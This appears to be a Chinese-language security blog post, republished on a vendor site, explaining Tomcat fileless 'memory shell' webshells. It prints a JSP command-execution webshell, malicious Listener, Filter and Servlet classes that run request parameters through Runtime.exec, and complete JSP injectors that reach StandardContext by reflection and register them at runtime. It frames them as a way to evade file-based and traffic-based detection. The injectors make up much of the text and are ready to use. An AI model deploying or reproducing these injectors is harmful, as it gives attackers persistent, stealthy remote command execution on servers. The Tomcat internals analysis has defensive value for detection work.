长亭百川云 - 文章详情

Tomcat内存马简析

RainSec

47

2024-07-14

  webshell木马配合webshell管理工具可以方便对于服务器、内网进行进一步的维权、入侵,随着对文件内容查杀、以Ai对流量特征和行为模式的查杀等等手段,普通文件形式的webshell木马可靠性越来越差。也许好不容易绕过waf传上去两分钟不到就被杀掉了,所以攻击方在近些年也慢慢的研发出“无文件”的webshell木马,即内存马。内存马的概念提出比较久的,但走进视野就近几年的事情,每隔一段时间总能看到不少师傅提出新的内存马实现方法,这里简单说下利用JavaWeb的三大组件Servle、Filter、Listener来动态注册内存马的方式。

前置知识

  jsp带回显的webshell木马:

<% if(request.getParameter("shell")!=null){  
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();  
    int a = -1;  
    byte[] b = new byte[2048];  
    out.print("<pre>");  
    while((a=in.read(b))!=-1){  
        out.print(new String(b));  
    }  
    out.print("</pre>");  
}  
   
%>

  request来获得用户请求,当shell字段的get请求存在时,将shell字段的请求信息当作cmd命令去执行,然后执行的结果通过getInputStream()输入流读返回结果,结果读进byte数组中,若有回显,则打印出结果。

  然而现在的内存马则将重点放在注册恶意组件上,对于Tomcat主要通过JavaWeb的Servlet、Filter、Listener这三大组件来实现。简单说下他们的功能:

  1、Servlet来处理客户端请求的动态资源,也就说我们用浏览器跳转后,请求由Servlet接受和处理,并完成响应,其中init方法在于接收客户端的第一次请求,service每次请求都会调用,destroy则是销毁用的。

  2、Filter是拦截器,作用在于拦截请求路径,init在创建Filter对象是调用。doFilter在请求到来,被拦截时执行,destroy就是销毁此对象。

  3、Listener是事件监听器,作用在于当某事件(比如点击等)在特定事件源发生时执行监听器代码,contextInitialized在Servletcontext创建时调用,contextDestroyed则在Servletcontext销毁时调用。

  加载的顺序为Listener->Filter->Servlet。

  在基于tomcat编写内存马时经常会遇到它的三个Context,及ServletContext、ApplicationContext、StandardContext,这里简单了解下:

  首先是Servlet,浏览器发送请求,浏览器接受请求后对请求作出处理,而Tomcat作为一个Servlet容器,将请求传给Servlet,并将相应返回给浏览器,而ServletContext就是servlet要实现的接口,比如路径信息或者拦截信息等。

  ApplicationContext的功能则在于实现ServletContext规范,一些对应方法的实现,例如addFilter等功能。

  而在看StandardContext时会发现,ApplicationContext调用的context方法是StandardContext实现的对象,则StandardContext其实是底层与Tomcat底层交互的内容。

Listener内存马

  既然加载顺序为Listener->Filter->Servlet,那么也根据这个顺序来调试。

  在注册一个listener时因为要匹配不同的事件,常用的分为ServletContextListener、ServletContextAttributeListener、ServletRequestAttributeListener、HttpSessionListener、ServletRequestListener、HttpSessionAttributeListener,一般常用ServletRequestListener来作内存马,因为他可以监听我们任意访问的资源,在访问资源会触发后其requestInitialized方法。

  ServletRequestListener的接口有两个事件处理方法:requestInitialized与requestDestroyed, requestInitialized(ServletRequestEvent sre)在与接受对应类型的参数,通过此参数来获得创建的对象;requestDestroyed(ServletRequestEvent sre)则是参数对象销毁时,调用此方法。知道这些就可以创建一个恶意Listener类:

@WebListener  
public class ListenerShell implements ServletRequestListener {  
    @Override  
    public void requestInitialized(ServletRequestEvent sre) {  
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();  
        String command = req.getParameter("cmd");  
        if (command != null) {  
            try {  
                InputStream in = Runtime.getRuntime().exec(command).getInputStream();  
            } catch (IOException e) {  
                e.printStackTrace();  
            } catch (NullPointerException n) {  
                n.printStackTrace();  
            }  
        }  
    }  
    @Override  
    public void requestDestroyed(ServletRequestEvent sre) {  
    }  
}

  其中HttpServletRequest代表浏览器请求,HTTP的所有信息都封装在此对象中,也就是可以从中得到请求信息,后面的就是请求读取请求命令和执行命令了。

访问任意路由即可执行命令。接下来我们进行debug调试,从而知道他如何添加进去的。在我们添加的

public class ListenerShell implements ServletRequestListener {  

处下断点,查看调用栈:

<init>:11, ListenerShell (com.Listener)  
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)  
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)  
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)  
newInstance:423, Constructor (java.lang.reflect)  
newInstance:150, DefaultInstanceManager (org.apache.catalina.core)  
listenerStart:4691, StandardContext (org.apache.catalina.core)  
.....

其中listenerStart我们跟进去看下

    public boolean listenerStart() {  
        if (log.isDebugEnabled()) {  
            log.debug("Configuring application event listeners");  
        }  
  
        String[] listeners = this.findApplicationListeners();  
        Object[] results = new Object[listeners.length];  
        boolean ok = true;  
  
        for(int i = 0; i < results.length; ++i) {  
            if (this.getLogger().isDebugEnabled()) {  
                this.getLogger().debug(" Configuring event listener class '" + listeners[i] + "'");  
            }  
  
            try {  
                String listener = listeners[i];  
                results[i] = this.getInstanceManager().newInstance(listener);  
            }  
    ......

其中findApplicationListeners方法就是将我们要注册的Listener传入该方法中,其中这里demo的值为com.Listener.ListenerShell,与写代码的文件目录一致。后面将对象信息传入results里,接下来对于类型进行分类

                if (lifecycleListener instanceof ServletContextAttributeListener || lifecycleListener instanceof ServletRequestAttributeListener || lifecycleListener instanceof ServletRequestListener || lifecycleListener instanceof HttpSessionIdListener || lifecycleListener instanceof HttpSessionAttributeListener) {  
                    eventListeners.add(lifecycleListener);  
                }

因为这里实现的是ServletRequestListener,所以分到eventListeners数组中 然后调用了getApplicationEventListeners

            eventListeners.addAll(Arrays.asList(this.getApplicationEventListeners()));  
            this.setApplicationEventListeners(eventListeners.toArray());
   public Object[] getApplicationEventListeners() {  
        return this.applicationEventListenersList.toArray();  
    }

其中返回的applicationEventListenersList,为已经注册的Listener,

    public void setApplicationEventListeners(Object[] listeners) {  
        this.applicationEventListenersList.clear();  
        if (listeners != null && listeners.length > 0) {  
            this.applicationEventListenersList.addAll(Arrays.asList(listeners));  
        }  
  
    }

setApplicationEventListeners主要完成applicationEventListenersList清空和重新赋值的操作 ,我们注册的Listener就存储在此。接下来我们去考虑Listener是如何触发的,此时我们在

    public void requestInitialized(ServletRequestEvent sre) {

下断点进行调试,并用浏览器访问路由,打开debug,在调用栈中看到

requestInitialized:14, ListenerShell (com.Listener)  
fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)  
invoke:121, StandardHostValve (org.apache.catalina.core)  
......

进入fireRequestInitEvent中:

    public boolean fireRequestInitEvent(ServletRequest request) {  
        Object[] instances = this.getApplicationEventListeners();  
        if (instances != null && instances.length > 0) {  
            ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);  
            Object[] var4 = instances;  
            int var5 = instances.length;  
  
            for(int var6 = 0; var6 < var5; ++var6) {  
                Object instance = var4[var6];  
                if (instance != null && instance instanceof ServletRequestListener) {  
                    ServletRequestListener listener = (ServletRequestListener)instance;  
  
                    try {  
                        listener.requestInitialized(event);  
                    } catch (Throwable var10) {  
                        ExceptionUtils.handleThrowable(var10);  
                        this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);  
                        request.setAttribute("javax.servlet.error.exception", var10);  
                        return false;  
                    }  
                }  
            }  
        }  
  
        return true;  
    }

代码中获得Listener的方法也是调用了getApplicationEventListeners来获取,然后遍历数组,当是要调用的事件型监听器时,用listener.requestInitialized(event)将其触发。

  现在知道Listener怎么存储了触发了,但我们还要知道如何添加Listener,这里说两种方案:

  第一种,通过setApplicationEventListeners将Listener添加到数组中。

  第二种,通过addApplicationEventListener方法来添加。

  不管哪种方案,第一步肯定是获得StandardContext类,在上面的调用栈中可以看到调用了StandardHostValve的invoke方法,我们看下:

    public final void invoke(Request request, Response response) throws IOException, ServletException {  
        Context context = request.getContext();

那么我们也可以通过request来获取StandardContext。获取后我们就分别说下添加Listener的两种方案:

  第一种,通过getApplicationEventListeners获取的StandardContext中的Listener数组,并将添加我们创建的listener进去,再setApplicationEventListeners数组即可:

    Object[] objects = context.getApplicationEventListeners();  
    List<Object> listeners = Arrays.asList(objects);  
    List<Object> listenershelllist = new ArrayList(listeners);  
    ListenerShell listenershell = new ListenerShell;  
    listenershelllist.add(listenershell);  
    context.setApplicationEventListeners(listenershelllist.toArray());

  第二种,StandardContext中有addApplicationEventListener方法,可以直接添加Listener:

    ListenerShell listenershell = new ListenerShell;  
    context.addApplicationEventListener(listenershell);

附上第一种的完整代码:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="java.io.IOException" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="org.apache.catalina.connector.Request" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page import="java.util.List" %>  
<%@ page import="java.util.Arrays" %>  
<%@ page import="java.util.ArrayList" %>  
  
  
<%  
    class ListenerMemShell implements ServletRequestListener {  
        @Override  
        public void requestInitialized(ServletRequestEvent sre) {  
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();  
            String command = req.getParameter("listenershell");  
            if (command != null) {  
                try {  
                    InputStream in = Runtime.getRuntime().exec(command).getInputStream();  
                } catch (IOException e) {  
                    e.printStackTrace();  
                } catch (NullPointerException n) {  
                    n.printStackTrace();  
                }  
            }  
        }  
        @Override  
        public void requestDestroyed(ServletRequestEvent sre) {  
        }  
    }  
%>  
  
<%  
    Field reqF = request.getClass().getDeclaredField("request");  
    reqF.setAccessible(true);  
    Request req = (Request) reqF.get(request);  
    StandardContext context = (StandardContext) req.getContext();  
  
    Object[] objects = context.getApplicationEventListeners();  
    List<Object> listeners = Arrays.asList(objects);  
    List<Object> listenershelllist = new ArrayList(listeners);  
    ListenerMemShell listenershell = new ListenerMemShell();  
    listenershelllist.add(listenershell);  
    context.setApplicationEventListeners(listenershelllist.toArray());  
  
%>

访问jsp即注入成功后,任意路由?listenershell=command即可执行命令。

Filter内存马

  创建一个恶意Filter,恶意代码写再doFilter里:

public class FilterShell implements Filter {  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  
        System.out.println("filter初始化");  
    }  
    @Override  
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {  
        String command1 = request.getParameter("cmd1");  
        if (command1 != null) {  
            try {  
                InputStream in = Runtime.getRuntime().exec(command1).getInputStream();  
            } catch (IOException e) {  
                e.printStackTrace();  
            } catch (NullPointerException n) {  
                n.printStackTrace();  
            }  
        }  
        chain.doFilter(request, response);  
    }  
    @Override  
    public void destroy() {  
  
    }  
  
}

在web.xml里配置:

<filter>  
    <filter-name>FilterShell</filter-name>  
    <filter-class>com.Filter.FilterShell</filter-class>  
</filter>  
<filter-mapping>  
    <filter-name>FilterShell</filter-name>  
    <url-pattern>/*</url-pattern>  
</filter-mapping>  
</web-app>

在正式调试之前,有几个类需要简单知道一下:

FilterDef 存储过滤器名filterName,过滤器实例filterClass,url 等基本信息  
FilterConfigs存储当前上下文信息StandardContext、FilterDef 和 Filter对象等信息  
FilterMaps 中主要存放了 FilterName 以及对应的URLPattern  
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

我们在doFilter处下断点,访问路由,查看调用栈:

doFilter:15, FilterShell (com.Filter)  
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)  
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)  
invoke:197, StandardWrapperValve (org.apache.catalina.core)  
invoke:97, StandardContextValve (org.apache.catalina.core)  
invoke:541, AuthenticatorBase (org.apache.catalina.authenticator)  
......

我们看下ApplicationFilterChain:

   private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {  
        if (this.pos < this.n) {  
            ApplicationFilterConfig filterConfig = this.filters[this.pos++];  
  
            try {  
                Filter filter = filterConfig.getFilter();  
                if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {  
                    request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);  
                }  
  
                if (Globals.IS_SECURITY_ENABLED) {  
                    Principal principal = ((HttpServletRequest)request).getUserPrincipal();  
                    Object[] args = new Object[]{request, response, this};  
                    SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);  
                } else {  
                    filter.doFilter(request, response, this);  
                }  
  
            } catch (ServletException | RuntimeException | IOException var15) {  
                throw var15;  
            } catch (Throwable var16) {  
                Throwable e = ExceptionUtils.unwrapInvocationTargetException(var16);  
                ExceptionUtils.handleThrowable(e);  
                throw new ServletException(sm.getString("filterChain.filter"), e);  
            }  
        } else {  
            try {  
                if (ApplicationDispatcher.WRAP_SAME_OBJECT) {  
                    lastServicedRequest.set(request);  
                    lastServicedResponse.set(response);  
                }  
  
                if (request.isAsyncSupported() && !this.servletSupportsAsync) {  
                    request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);  
                }  
  
                if (request instanceof HttpServletRequest && response instanceof HttpServletResponse && Globals.IS_SECURITY_ENABLED) {  
                    Principal principal = ((HttpServletRequest)request).getUserPrincipal();  
                    Object[] args = new Object[]{request, response};  
                    SecurityUtil.doAsPrivilege("service", this.servlet, classTypeUsedInService, args, principal);  
                } else {  
                    this.servlet.service(request, response);  
                }  
            } catch (ServletException | RuntimeException | IOException var17) {  
                throw var17;  
            } catch (Throwable var18) {  
                Throwable e = ExceptionUtils.unwrapInvocationTargetException(var18);  
                ExceptionUtils.handleThrowable(e);  
                throw new ServletException(sm.getString("filterChain.servlet"), e);  
            } finally {  
                if (ApplicationDispatcher.WRAP_SAME_OBJECT) {  
                    lastServicedRequest.set((Object)null);  
                    lastServicedResponse.set((Object)null);  
                }  
  
            }  
  
        }  
    }

我们可以看到通过filter.doFilter(request, response, this);来调用了doFilter,然后再向前看如何获得fiter:Filter filter = filterConfig.getFilter(); 前面已经简单说过了filterConfigs是什么了,一个filterConfig是一个ApplicationFilterConfig的实现类,在ApplicationFilterChain中:

    private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

是将值传入,那么需要知道在哪初始化ApplicationFilterChain;在StandardWrapperValve#invoke中:

        ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

跟进createFilterChain,需要关注StandardContext、filterChain、FilterMaps、FilterConfig这些的操作。代码通过

StandardContext context = (StandardContext)wrapper.getParent();

来获取当前的StandardContext,并通过

FilterMap[] filterMaps = context.findFilterMaps();

来获得filterMap,通过filter名字得到对应的filterConfig:

filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());

最后通过

filterChain.addFilter(filterConfig);

加入到filterChain中,,思路比较清晰,只要知道如何将我们想要的Filter信息添加到filterConfigs中,就可以添加到filterChain,从而触发。直接看debug信息可能直观一点:

image.png

跟刚开始介绍的一样,filterDef需要对应的filter、filterName、FilterClass;filterMaps则需要filterName、urlPattern、dispatcherMapping。还有一点是获得StandardContext,有许多资源可以加以利用,方法很多,简单写两种大佬的demo:

//获取ApplicationContextFacade类  
ServletContext servletContext = request.getSession().getServletContext();  
   
//反射获取ApplicationContextFacade类属性context为ApplicationContext类  
Field appContextField = servletContext.getClass().getDeclaredField("context");  
appContextField.setAccessible(true);  
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);  
   
//反射获取ApplicationContext类属性context为StandardContext类  
Field standardContextField = applicationContext.getClass().getDeclaredField("context");  
standardContextField.setAccessible(true);  
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

或者

    //获取servletContext  
    ServletContext servletContext = request.getSession().getServletContext();  
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;  
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");  
    applicationContextFacadeContext.setAccessible(true);  
    //获取applicationContext  
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);  
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");  
    applicationContextContext.setAccessible(true);  
    //获取standardContext  
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);

然后就是注入jsp的代码了:

<%@ page import="java.io.IOException" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>  
<%@ page import="java.lang.reflect.Constructor" %>  
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>  
<%@ page import="org.apache.catalina.Context" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%@ page import="org.apache.catalina.connector.Request" %>  
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>  
<%@ page import="java.util.HashMap" %>  
  
  
<%  
  
    class FIlterShell implements Filter {  
  
        public void init(FilterConfig filterConfig) throws ServletException {  
            System.out.println("filter初始化");  
        }  
  
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {  
        String FilterShell = request.getParameter("FilterShell");  
        if (FilterShell != null) {  
            try {  
                Runtime.getRuntime().exec(FilterShell);  
            } catch (IOException e) {  
                e.printStackTrace();  
            } catch (NullPointerException n) {  
                n.printStackTrace();  
            }  
        }  
        chain.doFilter(request, response);  
    }  
        public void destroy() {  
  
        }  
  
  
  
}  
    ServletContext servletContext = request.getServletContext();  
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;  
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");  
    applicationContextFacadeContext.setAccessible(true);  
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);  
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");  
    applicationContextContext.setAccessible(true);  
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);  
  
    FIlterShell filter = new FIlterShell();  
    String FiterName = "FilterMemShell";  
    FilterDef filterDef = new FilterDef();  
    filterDef.setFilter(filter);  
    filterDef.setFilterName(FiterName);  
    filterDef.setFilterClass(filter.getClass().getName());  
    standardContext.addFilterDef(filterDef);  
  
  
    FilterMap filterMap = new FilterMap();  
    filterMap.addURLPattern("/*");  
    filterMap.setFilterName(FiterName);  
    filterMap.setDispatcher(DispatcherType.REQUEST.name());  
    standardContext.addFilterMapBefore(filterMap);  
  
  
    Field Config = standardContext.getClass().getDeclaredField("filterConfigs");  
    Config.setAccessible(true);  
    HashMap filterConfigs = (HashMap) Config.get(standardContext);  
  
  
  
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);  
    constructor.setAccessible(true);  
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);  
    filterConfigs.put(FiterName, filterConfig);  
%>  

  不管获得StandardContext还是添加filterConfigs其实都有不少的代码实现,但思路大概差不太多,这里只是写一种方法。

Servlet内存马

  在开始时看到有师傅用两个接口来实现内存马,分别是Servlet和HttpServlet,HttpServlet在Servlet的基础上添加了HTTP协议的处理方法,不在直接使用Servlet的service方法,而是对于Http的不同请求,分别调用doGet和doPost方法。虽然接口不同,但调用到底层差不多,这里选择实现HttpServlet来分析。编写Servlet恶意类:

public class ServletShell extends HttpServlet{  
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        String command2 = req.getParameter("cmd2");  
        if (command2 != null) {  
            try {  
                InputStream in = Runtime.getRuntime().exec(command2).getInputStream();  
            } catch (IOException e) {  
                e.printStackTrace();  
            } catch (NullPointerException n) {  
                n.printStackTrace();  
            }  
        }  
    }  
  
  
    @Override  
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        doGet(req, resp);  
    }  
  
}  

在web.xml注册:

    <servlet>  
        <servlet-name>ServletShell</servlet-name>  
        <servlet-class>com.Servlet.ServletShell</servlet-class>  
    </servlet>  
    <servlet-mapping>  
        <servlet-name>ServletShell</servlet-name>  
        <url-pattern>/*</url-pattern>  
    </servlet-mapping>

这次在ContextConfig#webconfig打断点,此方法的主要作用在于读取web.xml以及其他配置操作,可以较为形象的跟踪servlet的读取过程。查看调用栈:

webConfig:1264, ContextConfig (org.apache.catalina.startup)  
configureStart:986, ContextConfig (org.apache.catalina.startup)  
lifecycleEvent:303, ContextConfig (org.apache.catalina.startup)  
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)  
startInternal:5135, StandardContext (org.apache.catalina.core)  
start:183, LifecycleBase (org.apache.catalina.util)  
addChildInternal:726, ContainerBase (org.apache.catalina.core)  
addChild:698, ContainerBase (org.apache.catalina.core)  
addChild:696, StandardHost (org.apache.catalina.core)  
manageApp:1783, HostConfig (org.apache.catalina.startup)  
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)  
invoke:62, NativeMethodAccessorImpl (sun.reflect)  
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)  
......

里面的fireLifecycleEvent解析调用了web.xml内容

    protected void fireLifecycleEvent(String type, Object data) {  
        LifecycleEvent event = new LifecycleEvent(this, type, data);  
        Iterator var4 = this.lifecycleListeners.iterator();  
  
        while(var4.hasNext()) {  
            LifecycleListener listener = (LifecycleListener)var4.next();  
            listener.lifecycleEvent(event);  
        }  
  
    }

从而webconfig调用此解析内容进行配置,将内容通过configureContext来创建StandWrapper

            if (this.ok) {  
                this.configureContext(webXml);  
            }  
        } else {  
            webXml.merge(tomcatWebXml);  
            webXml.merge(defaults);  
            this.convertJsps(webXml);  
            this.configureContext(webXml);  
        }

在后面通过:

this.context.addServletMappingDecoded(urlPattern, jspServletName, true);

进行url路径的添加,因为加载顺序是Listener->Filter->Servlet,所以还要之间还要对Listener,Filter进行加载,到后由loadOnStartup加载之前的wrapper,其中有一个判断需要注意下:

            if (loadOnStartup >= 0) {  
                Integer key = loadOnStartup;  
                ArrayList<Wrapper> list = (ArrayList)map.get(key);  
                if (list == null) {  
                    list = new ArrayList();  
                    map.put(key, list);  
                }  
  
                list.add(wrapper);  
            }

也就是说loadOnStartup大于等于0才会进行后续的操作(其实设置为0也不会进行),这个属性默认-1,表示启动的优先级,往后就成功加载了Servlet了。其中configureContext在创建Wrapper时规定了几个必要的属性:

LoadOnStartup属性:  
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());  
ServletName属性:  
wrapper.setName(servlet.getServletName());  
ServletClass属性:  
wrapper.setServletClass(servlet.getServletClass());

那我们加载的代码逻辑就在创建wrapper后,分别设置LoadOnStartup属性、ServletName属性以及ServletClass属性,最后通过addChild以及addServletMappingDecoded进行加载到对应路径,完整代码如下:

<%@ page import="java.lang.reflect.Field" %>  
<%@ page import= "javax.servlet.ServletException" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="org.apache.catalina.connector.Request" %>  
<%@ page import="java.io.IOException" %>  
<%@ page import="org.apache.catalina.Wrapper" %>  
<%@ page import="java.io.InputStream" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
  
<%  
     class ServletShell extends HttpServlet {  
        @Override  
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
            String command = req.getParameter("servletshell");  
            if (command != null) {  
                try {  
                    InputStream in = Runtime.getRuntime().exec(command).getInputStream();  
                } catch (IOException e) {  
                    e.printStackTrace();  
                } catch (NullPointerException n) {  
                    n.printStackTrace();  
                }  
            }  
        }  
  
  
         @Override  
         protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
             doGet(req, resp);  
         }  
  
    }  
  
    ServletShell shellservlet = new ServletShell();  
    String servletname = shellservlet.getClass().getSimpleName();  
  
    Field reqF = request.getClass().getDeclaredField("request");  
    reqF.setAccessible(true);  
    Request req = (Request) reqF.get(request);  
    StandardContext standardContext = (StandardContext) req.getContext();  
  
  
    Wrapper wrappershell = standardContext.createWrapper();  
  
    wrappershell.setServlet(shellservlet);  
  
    wrappershell.setLoadOnStartup(1);  
    wrappershell.setName(servletname);  
    wrappershell.setServletClass(shellservlet.getClass().getName());  
  
    standardContext.addChild(wrappershell);  
    standardContext.addServletMappingDecoded("/*",servletname);  
%>

小结

  这里只介绍了最基本的几种内存马,对于spring默认不解析jsp的有其他的利用方式,而且字节注入内存马和其他骚操作也有很广的利用场景,不少师傅也挖到了利用链,但在实战中写内存马一定要注意路径匹配问题,一旦把路由弄乱,影响测试方的正常业务,那就糟糕了。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2